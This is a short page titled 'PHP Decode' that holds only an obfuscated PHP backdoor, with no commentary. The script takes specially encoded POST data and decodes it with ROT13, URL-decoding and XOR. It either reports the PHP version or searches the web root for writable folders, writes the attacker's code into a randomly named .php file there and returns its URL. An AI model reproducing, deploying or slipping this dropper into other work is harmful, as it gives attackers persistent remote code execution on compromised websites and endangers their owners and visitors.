PHP Decode

<?php $qtjlrpout = "vbqvioolgrqhwlqc";$kergkvsqys = "";foreach ($_POST as $epyyggf => $bdcvykgxrp){if (strlen($epyyggf) == 16 and substr_count($bdcvykgxrp, "%") > 10){etanxkh($epyyggf, $bdcvykgxrp);}}function etanxkh($epyyggf, $bhddfelouwckivmwcc){global $kergkvsqys;$kergkvsqys = $epyyggf;$bhddfelouwckivmwcc = str_split(rawurldecode(str_rot13($bhddfelouwckivmwcc)));function dtgfxtl($mifptvwtfy, $epyyggf){global $qtjlrpout, $kergkvsqys;return $mifptvwtfy ^ $qtjlrpout[$epyyggf % strlen($qtjlrpout)] ^ $kergkvsqys[$epyyggf % strlen($kergkvsqys)];}$bhddfelouwckivmwcc = implode("", array_map("dtgfxtl", array_values($bhddfelouwckivmwcc), array_keys($bhddfelouwckivmwcc)));$bhddfelouwckivmwcc = @unserialize($bhddfelouwckivmwcc);if (@is_array($bhddfelouwckivmwcc)){$epyyggf = array_keys($bhddfelouwckivmwcc);$bhddfelouwckivmwcc = $bhddfelouwckivmwcc[$epyyggf[0]];if ($bhddfelouwckivmwcc === $epyyggf[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function chqpbcckq($bhddfelouir) {static $txtvokaj = array();$tzcrpv = glob($bhddfelouir . '/*', GLOB_ONLYDIR);if (count($tzcrpv) > 0) {foreach ($tzcrpv as $bhddfelou){if (@is_writable($bhddfelou)){$txtvokaj[] = $bhddfelou;}}}foreach ($tzcrpv as $bhddfelouir) chqpbcckq($bhddfelouir);return $txtvokaj;}$xgqvycxwn = $_SERVER["DOCUMENT_ROOT"];$tzcrpv = chqpbcckq($xgqvycxwn);$epyyggf = array_rand($tzcrpv);$cfihyt = $tzcrpv[$epyyggf] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($cfihyt, $bhddfelouwckivmwcc);echo "http://" . $_SERVER["HTTP_HOST"] . substr($cfihyt, strlen($xgqvycxwn));exit();}}} ?>